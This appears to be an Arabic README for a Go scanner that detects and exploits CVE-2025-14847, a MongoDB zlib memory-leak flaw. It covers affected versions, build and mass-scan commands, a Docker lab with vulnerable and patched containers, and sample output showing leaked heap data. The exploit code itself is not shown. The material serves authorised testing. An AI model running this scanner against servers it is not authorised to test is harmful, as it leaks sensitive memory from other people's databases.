
MongoDB أداة كشف ثغرة تسرب الذاكرة (CVE-2025-14847)
أداة الكشف عن ثغرة تسرب الذاكرة في MongoDB (CVE-2025-14847)
⚠️ تنبيه مهم: هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها وتقييم الثغرات. الاستخدام غير المصرح به قد يخالف القانون.
CVE-2025-14847 هي ثغرة خطيرة في تسرب الذاكرة في معالجة بروتوكول ضغط Zlib في MongoDB. يمكن للمهاجم إرسال حزمة بيانات مضغوطة تم إنشاؤها بشكل خبيث، مما يؤدي إلى إرجاع MongoDB لبيانات ذاكرة كومة غير مهيأة، والتي قد تحتوي على معلومات حساسة.
| نطاق الإصدار | الحالة |
|---|---|
| 8.2.0 – 8.2.2 | ⚠️ متأثر |
| 8.0.0 – 8.0.16 | ⚠️ متأثر |
| 7.0.0 – 7.0.27 | ⚠️ متأثر |
| 6.0.0 – 6.0.26 | ⚠️ متأثر |
| 5.0.0 – 5.0.31 | ⚠️ متأثر |
| 4.4.0 – 4.4.29 | ⚠️ متأثر |
| 4.2.x جميع الإصدارات | ⚠️ متأثر |
| 4.0.x جميع الإصدارات | ⚠️ متأثر |
| 3.6.x جميع الإصدارات | ⚠️ متأثر |
# استنساخ المستودع
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# تثبيت التبعيات
go mod download
# التجميع
go build -o mongodb-scanner main.go
# التشغيل
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
انتقل إلى صفحة الإصدارات لتنزيل الإصدار المناسب لنظامك.
# مسح هدف واحد
./mongodb-scanner -t 127.0.0.1:27017
# مسح جماعي من ملف
./mongodb-scanner -f targets.txt
# مسح جماعي (20 خيطًا)
./mongodb-scanner -f targets.txt -c 20
# المسح وحفظ الأهداف المعرضة للثغرة
./mongodb-scanner -f targets.txt -o vulnerable.txt
# نطاق إزاحة مخصص (مسح أسرع أو أعمق)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
| المعامل | الوصف | القيمة الافتراضية |
|---|---|---|
-t <target> | هدف واحد (مثال: 127.0.0.1:27017) | - |
-f <file> | ملف الأهداف (هدف في كل سطر) | - |
-c <num> | عدد الخيوط المتزامنة | 10 |
-timeout <time> | مهلة الاتصال | 2s |
-o <file> | ملف الإخراج (حفظ الأهداف المعرضة للثغرة) | - |
--min-offset <num> | أدنى إزاحة لطول المستند | 20 |
--max-offset <num> | أقصى إزاحة لطول المستند | 8192 |
أنشئ ملف targets.txt:
# قائمة أهداف MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# إذا لم يتم تحديد المنفذ، يستخدم المنفذ 27017 افتراضيًا
192.168.1.101
لاختبار هذه الأداة بأمان، يُوصى باستخدام Docker لإنشاء بيئة اختبار محلية.
# بدء MongoDB 6.0.14 (إصدار متأثر بالثغرة) مع تفعيل ضغط Zlib
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# عرض حالة الحاوية
docker ps
# اختبار الثغرة
./mongodb-scanner -t 127.0.0.1:27017
أنشئ ملف docker-compose.yml:
version: '3.8'
services:
# الإصدار المتأثر بالثغرة (مع تفعيل Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# الإصدار المُصحَّح (للمقارنة)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
تشغيل بيئة الاختبار:
# تشغيل جميع الحاويات
docker-compose up -d
# اختبار الإصدار المتأثر بالثغرة
./mongodb-scanner -t 127.0.0.1:27017
# اختبار الإصدار المُصحَّح
./mongodb-scanner -t 127.0.0.1:27018
# إيقاف وتنظيف
docker-compose down -v
# إيقاف وحذف الحاوية
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# تنظيف وحدات التخزين
docker volume prune -f
تستخدم الأداة بادئات موحدة لتمييز معلومات الإخراج:
[*] – معلومات (الهدف، الإصدار، الإعدادات، إلخ)[+] – نجاح / وجود ثغرة / استخراج بيانات[-] – فشل / آمن / لا توجد ثغرة[!] – تحذير / تنبيه مهم╔══════════════════════════════════════════════════════════════╗
║ أداة الكشف عن ثغرة MongoDB CVE-2025-14847 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ للاختبارات الأمنية المصرح بها فقط | الاختبار غير المصرح به قد يكون غير قانوني
[*] الهدف: 1 | الخيوط: 10 | المهلة: 2s | الإزاحة: 20-1000
[*] بدء المسح...
[*] الهدف: 127.0.0.1:27017
[*] الإصدار: 6.0.14
[+] الإصدار معرض للثغرة: نعم
[+] ضغط Zlib: مفعل
[!] الثغرة قابلة للاستغلال، بدء استخراج الذاكرة...
[+] الإزاحة=229 الطول=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 – الثغرة قابلة للاستغلال (الإصدار 6.0.14) – 3468 مللي ثانية
[+] تم استخراج عنصر واحد من بيانات الذاكرة:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 1 | آمن: 0 | الوقت المستغرق: 3.4 ثانية
======================================================================
[*] الهدف: 127.0.0.1:27018
[*] الإصدار: 6.0.27
[-] الإصدار معرض للثغرة: لا
[-] 127.0.0.1:27018 – الإصدار آمن (الإصدار 6.0.27) – 156 مللي ثانية
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 0 | آمن: 1 | الوقت المستغرق: 0.2 ثانية
======================================================================
[*] الهدف: 127.0.0.1:27017
[*] الإصدار: 6.0.14
[+] الإصدار معرض للثغرة: نعم
[-] ضغط Zlib: غير مفعل
[-] 127.0.0.1:27017 – Zlib غير مفعل (الإصدار 6.0.14) – 234 مللي ثانية
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 0 | آمن: 1 | الوقت المستغرق: 0.3 ثانية
======================================================================
[*] الهدف: 5 | الخيوط: 10 | المهلة: 2s | الإزاحة: 20-8192
[*] بدء المسح...
[+] 192.168.1.10:27017 – الثغرة قابلة للاستغلال (الإصدار 6.0.14) – 3521 مللي ثانية
[+] تم استخراج عنصرين من بيانات الذاكرة:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 – الإصدار آمن (الإصدار 6.0.27) – 145 مللي ثانية
[-] 192.168.1.12:27017 – Zlib غير مفعل (الإصدار 6.0.14) – 198 مللي ثانية
[+] 192.168.1.13:27017 – الثغرة قابلة للاستغلال (الإصدار 7.0.15) – 2987 مللي ثانية
[!] 192.168.1.14:27017 – الثغرة قابلة للاستغلال ولكن لم يتم استخراج بيانات (الإصدار 6.0.20) – 4123 مللي ثانية